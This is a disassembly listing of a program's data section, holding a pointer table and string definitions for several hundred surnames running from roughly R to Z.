dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: .data:0042EBD4o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .data:0042EBD0o
align 4
aZurn db 'Zurn',0 ; DATA XREF: .data:0042EBCCo
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: .data:0042EBC8o
aZoldak db 'Zoldak',0 ; DATA XREF: .data:0042EBC4o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: .data:0042EBC0o
aZegans db 'Zegans',0 ; DATA XREF: .data:0042EBBCo
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: .data:0042EBB8o
align 10h
aZahedi db 'Zahedi',0 ; DATA XREF: .data:0042EBB4o
align 4
aZachary db 'Zachary',0 ; DATA XREF: .data:0042EBB0o
aYu db 'Yu',0 ; DATA XREF: .data:0042EBACo
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: .data:0042EBA8o
align 10h
aYoo db 'Yoo',0 ; DATA XREF: .data:0042EBA4o
aYoffe db 'Yoffe',0 ; DATA XREF: .data:0042EBA0o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: .data:0042EB9Co
align 4
aYesson db 'Yesson',0 ; DATA XREF: .data:0042EB98o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: .data:0042EB94o
aYbarra db 'Ybarra',0 ; DATA XREF: .data:0042EB90o
align 4
aYates db 'Yates',0 ; DATA XREF: .data:0042EB8Co
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:0042EB88o
aYankee db 'Yankee',0 ; DATA XREF: .data:0042EB84o
align 4
aYamane db 'Yamane',0 ; DATA XREF: .data:0042EB80o
align 4
aYacono db 'Yacono',0 ; DATA XREF: .data:0042EB7Co
align 4
aVotey db 'Votey',0 ; DATA XREF: .data:0042EB78o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: .data:0042EB74o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:0042EB70o
align 4
aWoods db 'Woods',0 ; DATA XREF: .data:0042EB6Co
align 4
aWooden db 'Wooden',0 ; DATA XREF: .data:0042EB68o
align 4
aWoo db 'Woo',0 ; DATA XREF: .data:0042EB64o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:0042EB60o
align 4
aWolk db 'Wolk',0 ; DATA XREF: .data:0042EB5Co
align 4
aVoigt db 'Voigt',0 ; DATA XREF: .data:0042EB58o
align 4
aViviani db 'Viviani',0 ; DATA XREF: .data:0042EB54o
aVitali db 'Vitali',0 ; DATA XREF: .data:0042EB50o
align 4
aWilson db 'Wilson',0 ; DATA XREF: .data:0042EB4Co
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0042EB48o
aVillarreal db 'Villarreal',0 ; DATA XREF: .data:0042EB44o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0042EB40o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: .data:0042EB3Co
align 4
aWilk db 'Wilk',0 ; DATA XREF: .data:0042EB38o
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:0042EB34o
aWilder db 'Wilder',0 ; DATA XREF: .data:0042EB30o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: .data:0042EB2Co
aViens db 'Viens',0 ; DATA XREF: .data:0042EB28o
align 10h
aWiener db 'Wiener',0 ; DATA XREF: .data:0042EB24o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0042EB20o
aViano db 'Viano',0 ; DATA XREF: .data:0042EB1Co
align 4
aViana db 'Viana',0 ; DATA XREF: .data:0042EB18o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .data:0042EB14o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: .data:0042EB10o
align 4
aWhite db 'White',0 ; DATA XREF: .data:0042EB0Co
align 10h
aWhilton db 'Whilton',0 ; DATA XREF: .data:0042EB08o
aWhately db 'Whately',0 ; DATA XREF: .data:0042EB04o
aWetzel db 'Wetzel',0 ; DATA XREF: .data:0042EB00o
align 4
aWescott db 'Wescott',0 ; DATA XREF: .data:0042EAFCo
aVerghese db 'Verghese',0 ; DATA XREF: .data:0042EAF8o
align 4
aVenne db 'Venne',0 ; DATA XREF: .data:0042EAF4o
align 4
aWengret db 'Wengret',0 ; DATA XREF: .data:0042EAF0o
aWelsh db 'Welsh',0 ; DATA XREF: .data:0042EAECo
align 4
aWelles db 'Welles',0 ; DATA XREF: .data:0042EAE8o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: .data:0042EAE4o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .data:0042EAE0o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:0042EADCo
align 10h
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0042EAD8o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: .data:0042EAD4o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .data:0042EAD0o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: .data:0042EACCo
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .data:0042EAC8o
aWasowska db 'Wasowska',0 ; DATA XREF: .data:0042EAC4o
align 10h
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:0042EAC0o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:0042EABCo
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:0042EAB8o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .data:0042EAB4o
aVanallen db 'vanAllen',0 ; DATA XREF: .data:0042EAB0o
align 4
aWalter db 'Walter',0 ; DATA XREF: .data:0042EAACo
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:0042EAA8o
align 10h
aWales db 'Wales',0 ; DATA XREF: .data:0042EAA4o
align 4
aValencia db 'Valencia',0 ; DATA XREF: .data:0042EAA0o
align 4
aValberg db 'Valberg',0 ; DATA XREF: .data:0042EA9Co
aWaite db 'Waite',0 ; DATA XREF: .data:0042EA98o
align 4
aVacca db 'Vacca',0 ; DATA XREF: .data:0042EA94o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .data:0042EA90o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .data:0042EA8Co
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:0042EA88o
align 4
aUrban db 'Urban',0 ; DATA XREF: .data:0042EA84o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0042EA80o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:0042EA7Co
align 4
aUllman db 'Ullman',0 ; DATA XREF: .data:0042EA78o
align 10h
aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:0042EA74o
align 4
aTwells db 'Twells',0 ; DATA XREF: .data:0042EA70o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: .data:0042EA6Co
align 4
aTurek db 'Turek',0 ; DATA XREF: .data:0042EA68o
align 4
aTurano db 'Turano',0 ; DATA XREF: .data:0042EA64o
align 4
aTukan db 'Tukan',0 ; DATA XREF: .data:0042EA60o
align 4
aTudge db 'Tudge',0 ; DATA XREF: .data:0042EA5Co
align 4
aTuck db 'Tuck',0 ; DATA XREF: .data:0042EA58o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:0042EA54o
align 10h
aTsomides db 'Tsomides',0 ; DATA XREF: .data:0042EA50o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:0042EA4Co
aTruss db 'Truss',0 ; DATA XREF: .data:0042EA48o
align 4
aTroy db 'Troy',0 ; DATA XREF: .data:0042EA44o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .data:0042EA40o
aTringali db 'Tringali',0 ; DATA XREF: .data:0042EA3Co
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .data:0042EA38o
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: .data:0042EA34o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .data:0042EA30o
align 4
aToye db 'Toye',0 ; DATA XREF: .data:0042EA2Co
align 4
aTowler db 'Towler',0 ; DATA XREF: .data:0042EA28o
align 4
aTorske db 'Torske',0 ; DATA XREF: .data:0042EA24o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: .data:0042EA20o
aTopulos db 'Topulos',0 ; DATA XREF: .data:0042EA1Co
aToomer db 'Toomer',0 ; DATA XREF: .data:0042EA18o
align 4
aTomford db 'Tomford',0 ; DATA XREF: .data:0042EA14o
aTolman db 'Tolman',0 ; DATA XREF: .data:0042EA10o
align 4
aTolls db 'Tolls',0 ; DATA XREF: .data:0042EA0Co
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0042EA08o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: .data:0042EA04o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .data:0042EA00o
aTill db 'Till',0 ; DATA XREF: .data:0042E9FCo
align 4
aTierney db 'Tierney',0 ; DATA XREF: .data:0042E9F8o
aThroop db 'Throop',0 ; DATA XREF: .data:0042E9F4o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: .data:0042E9F0o
aThisted db 'Thisted',0 ; DATA XREF: .data:0042E9ECo
aThibault db 'Thibault',0 ; DATA XREF: .data:0042E9E8o
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: .data:0042E9E4o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:0042E9E0o
align 4
aThan db 'Than',0 ; DATA XREF: .data:0042E9DCo
align 10h
aTerracini db 'Terracini',0 ; DATA XREF: .data:0042E9D8o
align 4
aTenney db 'Tenney',0 ; DATA XREF: .data:0042E9D4o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .data:0042E9D0o
align 4
aTemes db 'Temes',0 ; DATA XREF: .data:0042E9CCo
align 4
aTeague db 'Teague',0 ; DATA XREF: .data:0042E9C8o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:0042E9C4o
align 4
aTawn db 'Tawn',0 ; DATA XREF: .data:0042E9C0o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: .data:0042E9BCo
aTatar db 'Tatar',0 ; DATA XREF: .data:0042E9B8o
align 10h
aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:0042E9B4o
align 4
aTandler db 'Tandler',0 ; DATA XREF: .data:0042E9B0o
aTambiah db 'Tambiah',0 ; DATA XREF: .data:0042E9ACo
aTalaugon db 'Talaugon',0 ; DATA XREF: .data:0042E9A8o
align 4
aTai db 'Tai',0 ; DATA XREF: .data:0042E9A4o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:0042E9A0o
aSwindle db 'Swindle',0 ; DATA XREF: .data:0042E99Co
aSweetser db 'Sweetser',0 ; DATA XREF: .data:0042E998o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .data:0042E994o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: .data:0042E990o
align 4
aSuo db 'Suo',0 ; DATA XREF: .data:0042E98Co
aSumner db 'Sumner',0 ; DATA XREF: .data:0042E988o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .data:0042E984o
align 4
aStringer db 'Stringer',0 ; DATA XREF: .data:0042E980o
align 10h
aStreiff db 'Streiff',0 ; DATA XREF: .data:0042E97Co
aStrauch db 'Strauch',0 ; DATA XREF: .data:0042E978o
aStrange db 'Strange',0 ; DATA XREF: .data:0042E974o
aStott db 'Stott',0 ; DATA XREF: .data:0042E970o
align 10h
aStorer db 'Storer',0 ; DATA XREF: .data:0042E96Co
align 4
aStonich db 'Stonich',0 ; DATA XREF: .data:0042E968o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:0042E964o
aStockwell db 'Stockwell',0 ; DATA XREF: .data:0042E960o
align 4
aStockton db 'Stockton',0 ; DATA XREF: .data:0042E95Co
align 4
aStock db 'Stock',0 ; DATA XREF: .data:0042E958o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: .data:0042E954o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .data:0042E950o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:0042E94Co
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0042E948o
aStephanian db 'Stephanian',0 ; DATA XREF: .data:0042E944o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: .data:0042E940o
aStefani db 'Stefani',0 ; DATA XREF: .data:0042E93Co
aStatlender db 'Statlender',0 ; DATA XREF: .data:0042E938o
align 4
aStates db 'States',0 ; DATA XREF: .data:0042E934o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0042E930o
align 10h
aStang db 'Stang',0 ; DATA XREF: .data:0042E92Co
align 4
aStam db 'Stam',0 ; DATA XREF: .data:0042E928o
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: .data:0042E924o
aStmartin db 'StMartin',0 ; DATA XREF: .data:0042E920o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .data:0042E91Co
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0042E918o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:0042E914o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: .data:0042E910o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: .data:0042E90Co
aSpence db 'Spence',0 ; DATA XREF: .data:0042E908o
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: .data:0042E904o
aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0042E900o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: .data:0042E8FCo
aSpanier db 'Spanier',0 ; DATA XREF: .data:0042E8F8o
aSoultanian db 'Soultanian',0 ; DATA XREF: .data:0042E8F4o
align 10h
aSoule db 'Soule',0 ; DATA XREF: .data:0042E8F0o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .data:0042E8ECo
align 10h
aSottak db 'Sottak',0 ; DATA XREF: .data:0042E8E8o
align 4
aSorg db 'Sorg',0 ; DATA XREF: .data:0042E8E4o
align 10h
aSorabella db 'Sorabella',0 ; DATA XREF: .data:0042E8E0o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: .data:0042E8DCo
align 4
aSomers db 'Somers',0 ; DATA XREF: .data:0042E8D8o
align 10h
aSolon db 'Solon',0 ; DATA XREF: .data:0042E8D4o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .data:0042E8D0o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:0042E8CCo
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .data:0042E8C8o
aSmilow db 'Smilow',0 ; DATA XREF: .data:0042E8C4o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .data:0042E8C0o
align 4
aSloan db 'Sloan',0 ; DATA XREF: .data:0042E8BCo
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .data:0042E8B8o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .data:0042E8B4o
align 4
aSkane db 'Skane',0 ; DATA XREF: .data:0042E8B0o
align 4
aSites db 'Sites',0 ; DATA XREF: .data:0042E8ACo
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .data:0042E8A8o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:0042E8A4o
align 10h
aSilvetti db 'Silvetti',0 ; DATA XREF: .data:0042E8A0o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: .data:0042E89Co
align 4
aSigna db 'Signa',0 ; DATA XREF: .data:0042E898o
align 10h
aSigini db 'Sigini',0 ; DATA XREF: .data:0042E894o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .data:0042E890o
aSiesto db 'Siesto',0 ; DATA XREF: .data:0042E88Co
align 4
aShimon db 'Shimon',0 ; DATA XREF: .data:0042E888o
align 10h
aShibata db 'Shibata',0 ; DATA XREF: .data:0042E884o
aShia db 'Shia',0 ; DATA XREF: .data:0042E880o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: .data:0042E87Co
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .data:0042E878o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .data:0042E874o
align 10h
aShepherd db 'Shepherd',0 ; DATA XREF: .data:0042E870o
align 4
aSheats db 'Sheats',0 ; DATA XREF: .data:0042E86Co
align 4
aShea db 'Shea',0 ; DATA XREF: .data:0042E868o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: .data:0042E864o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .data:0042E860o
aShar db 'Shar',0 ; DATA XREF: .data:0042E85Co
align 4
aShanley db 'Shanley',0 ; DATA XREF: .data:0042E858o
aShankland db 'Shankland',0 ; DATA XREF: .data:0042E854o
align 4
aShakis db 'Shakis',0 ; DATA XREF: .data:0042E850o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: .data:0042E84Co
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0042E848o
aSexton db 'Sexton',0 ; DATA XREF: .data:0042E844o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0042E840o
align 4
aSennett db 'Sennett',0 ; DATA XREF: .data:0042E83Co
aSen db 'Sen',0 ; DATA XREF: .data:0042E838o
aSelvage db 'Selvage',0 ; DATA XREF: .data:0042E834o
aSekler db 'Sekler',0 ; DATA XREF: .data:0042E830o
align 4
aSegal db 'Segal',0 ; DATA XREF: .data:0042E82Co
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .data:0042E828o
align 4
aSeaton db 'Seaton',0 ; DATA XREF: .data:0042E824o
align 4
aScudder db 'Scudder',0 ; DATA XREF: .data:0042E820o
aScovel db 'Scovel',0 ; DATA XREF: .data:0042E81Co
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0042E818o
aSchwan db 'Schwan',0 ; DATA XREF: .data:0042E814o
align 10h
aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0042E810o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: .data:0042E80Co
aSchuman db 'Schuman',0 ; DATA XREF: .data:0042E808o
aSchossberger db 'Schossberger',0 ; DATA XREF: .data:0042E804o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0042E800o
aSchilling db 'Schilling',0 ; DATA XREF: .data:0042E7FCo
align 10h
aSchifini db 'Schifini',0 ; DATA XREF: .data:0042E7F8o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .data:0042E7F4o
aScheiner db 'Scheiner',0 ; DATA XREF: .data:0042E7F0o
align 10h
aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:0042E7ECo
aScharf db 'Scharf',0 ; DATA XREF: .data:0042E7E8o
align 4
aScepan db 'Scepan',0 ; DATA XREF: .data:0042E7E4o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: .data:0042E7E0o
align 4
aSayied db 'Sayied',0 ; DATA XREF: .data:0042E7DCo
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: .data:0042E7D8o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:0042E7D4o
align 4
aSatta db 'Satta',0 ; DATA XREF: .data:0042E7D0o
align 10h
aSatin db 'Satin',0 ; DATA XREF: .data:0042E7CCo
align 4
aSase db 'Sase',0 ; DATA XREF: .data:0042E7C8o
align 10h
aSartore db 'Sartore',0 ; DATA XREF: .data:0042E7C4o
aSarin db 'Sarin',0 ; DATA XREF: .data:0042E7C0o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: .data:0042E7BCo
align 4
aSanna db 'Sanna',0 ; DATA XREF: .data:0042E7B8o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:0042E7B4o
aSamson db 'Samson',0 ; DATA XREF: .data:0042E7B0o
align 4
aSali db 'Sali',0 ; DATA XREF: .data:0042E7ACo
align 10h
aSahu db 'Sahu',0 ; DATA XREF: .data:0042E7A8o
align 4
aSafire db 'Safire',0 ; DATA XREF: .data:0042E7A4o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: .data:0042E7A0o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: .data:0042E79Co
align 4
aRyu db 'Ryu',0 ; DATA XREF: .data:0042E798o
aRush db 'Rush',0 ; DATA XREF: .data:0042E794o
align 10h
aRuescher db 'Ruescher',0 ; DATA XREF: .data:0042E790o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: .data:0042E78Co
align 4
aRuan db 'Ruan',0 ; DATA XREF: .data:0042E788o
align 10h
aRu db 'Ru',0 ; DATA XREF: .data:0042E784o
align 4
aRoyal db 'Royal',0 ; DATA XREF: .data:0042E780o
align 4
aRow db 'Row',0 ; DATA XREF: .data:0042E77Co
aRonen db 'Ronen',0 ; DATA XREF: .data:0042E778o
align 4
aRogers db 'Rogers',0 ; DATA XREF: .data:0042E774o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: .data:0042E770o
aRocha db 'Rocha',0 ; DATA XREF: .data:0042E76Co
align 10h
aRobinson db 'Robinson',0 ; DATA XREF: .data:0042E768o
align 4
aRivera db 'Rivera',0 ; DATA XREF: .data:0042E764o
align 4
aRish db 'Rish',0 ; DATA XREF: .data:0042E760o
align 4
aRineer db 'Rineer',0 ; DATA XREF: .data:0042E75Co
align 4
aRindos db 'Rindos',0 ; DATA XREF: .data:0042E758o
align 4
